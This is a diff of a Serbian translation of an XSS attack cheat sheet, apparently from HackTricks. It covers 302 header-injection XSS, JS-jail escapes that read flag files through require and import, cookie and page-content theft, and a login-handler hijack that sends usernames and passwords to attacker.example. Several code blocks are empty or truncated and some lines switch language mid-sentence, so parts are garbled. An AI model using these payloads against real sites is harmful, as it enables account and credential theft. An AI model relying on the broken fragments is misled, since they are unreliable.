-### XSS sa injekcijom header-a u 302 odgovoru +### XSS sa header injection u 302 odgovoru -Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan. +Ako utvrdite da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije **trivijalno** jer moderni browser-i ne interpretiraju telo HTTP response-a ako je HTTP response status code 302, pa sam payload za cross-site scripting neće raditi. -U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.\ -Ranije poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazan Location header_, `resource://`. +U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location header-a i videti da li koji od njih dozvoljava browseru da ispita i izvrši XSS payload unutar tela.\ +Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Samo slova, brojevi i tačke -Ako možete naznačiti **callback** koji će javascript **execute** ograničen samo na ta slova, brojeve i tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje. +Ako možete odrediti **callback** koji će javascript **execute** ograničen na te znakove. [**Pročitajte ovaj odeljak**](#javascript-function) da saznate kako zloupotrebiti ovo ponašanje. -### Podržani ` ``` Odgovor je: -- **module** (podrazumevano, nema šta objašnjavati) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** fajl. +- **module** (podrazumevano, nema šta da se objašnjava) +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcionalnost koja vam omogućava da spakujete skup podataka (HTML, CSS, JS…) u **`.wbn`** fajl. ```html ``` -Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da premapira biblioteku na eval, čija zloupotreba može izazvati XSS. +Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da se remapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom uvedena da reši neke probleme izazvane pre-renderingom. Radi na sledeći način: ```html ``` -### Web Content-Types za XSS +### Web Content-Types to XSS -(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima: +(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći Content-Types mogu izvršiti XSS u svim browserima: - text/html - application/xhtml+xml @@ -971,11 +981,11 @@ Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca - application/rss+xml (off) - application/atom+xml (off) -U drugim preglednicima drugi **`Content-Types`** se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +U drugim browserima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) -### xml tip sadržaja +### xml Content Type -Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS: +Ako stranica vraća text/xml content-type, moguće je označiti namespace i izvršiti proizvoljni JS: ```xml hello @@ -985,9 +995,9 @@ Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvrš ``` ### Specijalni obrasci zamene -Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**. Napadač može koristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša zaobići neka zaštitna sredstva: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**. Napadač može da koristi [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da bi se **escape-ovao JSON string** unutar skripta i izvršio proizvoljan kod. +Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **scape a JSON string** inside a script and execute arbitrary code. ### Chrome Cache to XSS @@ -998,7 +1008,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme: +Ako imate samo ograničen skup karaktera koje možete koristiti, pogledajte ova druga valjana rešenja za XSJail probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1029,7 +1039,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Ako je pre izvršavanja nepouzdanog koda **everything is undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda: +Ako je **sve undefined** pre izvršavanja nepouzdanog koda (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda: - Korišćenjem import() ```javascript @@ -1038,13 +1048,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Pristupanje `require` indirektno -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su od Node.js umotani unutar funkcije, ovako: +[Prema ovom](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js umotava module unutar funkcije, ovako: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**: +Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je iz te funkcije koristiti `arguments.callee.caller.arguments[1]` da se pristupi **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1053,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da se pristupi **wrapper** modula i dobije **`require`** funkciju: +Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da pristupite **wrapper** modula i dobijete **`require`** funkciju: ```javascript try { null.f() @@ -1272,25 +1282,25 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## Uobičajeni XSS payloads -### Više payloads u 1 +### Više payloads u jednom {{#ref}} steal-info-js.md {{#endref}} -### Iframe Trap +### Iframe zamka -Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima): +Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnite njegove radnje (uključujući informacije poslate kroz forme): {{#ref}} ../iframe-traps.md {{#endref}} -### Retrieve Cookies +### Preuzimanje Cookies ```javascript /?c="+document.cookie> @@ -1313,7 +1323,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete ``` > [!TIP] -> **Nećete moći da pristupite cookies iz JavaScript-a** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako budete imali sreće. +> Nećete moći da pristupite **cookies iz JavaScript** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ako imate sreće. ### Krađa sadržaja stranice ```javascript @@ -1328,7 +1338,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Pronađite interne IP adrese +### Pronalaženje internih IP adresa ```html ``` @@ -1423,11 +1433,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated. +Kada se bilo koji podatak unese u password polje, username i password se šalju na attackers server — čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Ako je kritični handler (npr., `function DoLogin(){...}`) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši `const` istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati `const` ime, ostavljajući tvoj hook pod kontrolom: +Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. via an inline JS-in-JS sink), definišite `const` sa istim imenom prvo da preduhitrite i zaključate handler. Kasnije deklaracije funkcija ne mogu ponovo vezati (`rebind`) `const` ime, ostavljajući vaš hook pod kontrolom: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,21 +1445,21 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Notes -- Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije. -- Ako je vaš payload zamotan u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristite dinamičku `